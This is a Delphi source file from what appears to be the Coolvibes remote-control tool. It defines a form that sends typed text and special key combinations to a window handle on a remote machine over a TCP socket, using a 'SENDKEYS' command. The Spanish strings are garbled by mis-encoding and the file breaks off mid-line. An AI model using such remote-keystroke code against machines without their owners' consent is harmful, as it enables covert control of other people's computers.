unitformsendkeys.pas

Coolvibes 远程控制 Coolvibes 远程控制 Coolvibes 远程控制 Coolvibes 远程控制

unit UnitFormSendKeys;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Buttons, IdTCPServer, Menus;

type
  TFormSendKeys = class(TForm)
    MemoSendKeys: TMemo;
    BtnEnviar: TSpeedButton;
    EditTitulo: TEdit;
    EditHandle: TEdit;
    LabelHandle: TLabel;
    BtnEspeciales: TSpeedButton;
    PopupSendKeys: TPopupMenu;
    Enter1: TMenuItem;
    Control1: TMenuItem;
    Alt1: TMenuItem;
    Shift1: TMenuItem;
    BtnInformacion: TSpeedButton;
    Retroceso1: TMenuItem;
    Suprimir1: TMenuItem;
    Escape1: TMenuItem;
    N1: TMenuItem;
    Combinaciones1: TMenuItem;
    N2: TMenuItem;
    Msinformacin1: TMenuItem;
    AltF4Cerrarventana1: TMenuItem;
    ControlEscapeAbrirMenInicio1: TMenuItem;
    procedure FormShow(Sender: TObject);
    procedure BtnEnviarClick(Sender: TObject);
    procedure BtnEspecialesClick(Sender: TObject);
    procedure BtnInformacionClick(Sender: TObject);
    procedure Enter1Click(Sender: TObject);
    procedure Shift1Click(Sender: TObject);
    procedure Control1Click(Sender: TObject);
    procedure Alt1Click(Sender: TObject);
    procedure Retroceso1Click(Sender: TObject);
    procedure Suprimir1Click(Sender: TObject);
    procedure Escape1Click(Sender: TObject);
    procedure AltF4Cerrarventana1Click(Sender: TObject);
    procedure ControlEscapeAbrirMenInicio1Click(Sender: TObject);
    procedure Msinformacin1Click(Sender: TObject);
  private
    { Private declarations }
    Servidor : TIdPeerThread;
    E : string;
  public
    { Public declarations }
  constructor Create(aOwner: TComponent; Socket: TIdPeerThread; Handle, Titulo: String);
  end;

var
  FormSendKeys: TFormSendKeys;

implementation

{$R *.dfm}

constructor TFormSendKeys.Create(aOwner: TComponent; Socket: TIdPeerThread; Handle, Titulo: String);
begin
  inherited Create(aOwner);
  Servidor := Socket;
  EditHandle.Text := Handle;
  EditTitulo.Text := Titulo;
  E := #13#10;
end;

procedure TFormSendKeys.FormShow(Sender: TObject);
begin
  MemoSendKeys.Clear;
end;

procedure TFormSendKeys.BtnEnviarClick(Sender: TObject);
begin
  Servidor.Connection.WriteLn('SENDKEYS|'+EditHandle.Text+'|'+MemoSendKeys.Text);
  Close;
end;

procedure TFormSendKeys.BtnEspecialesClick(Sender: TObject);
begin
  PopupSendKeys.Popup(FormSendKeys.Left + BtnEspeciales.Left, FormSendKeys.Top + BtnEspeciales.Top);
end;

procedure TFormSendKeys.BtnInformacionClick(Sender: TObject);
begin
  MessageBox(Handle, Pchar('Enviar teclas env韆 las teclas indicadas. Soporta tambi閚 teclas especiales, as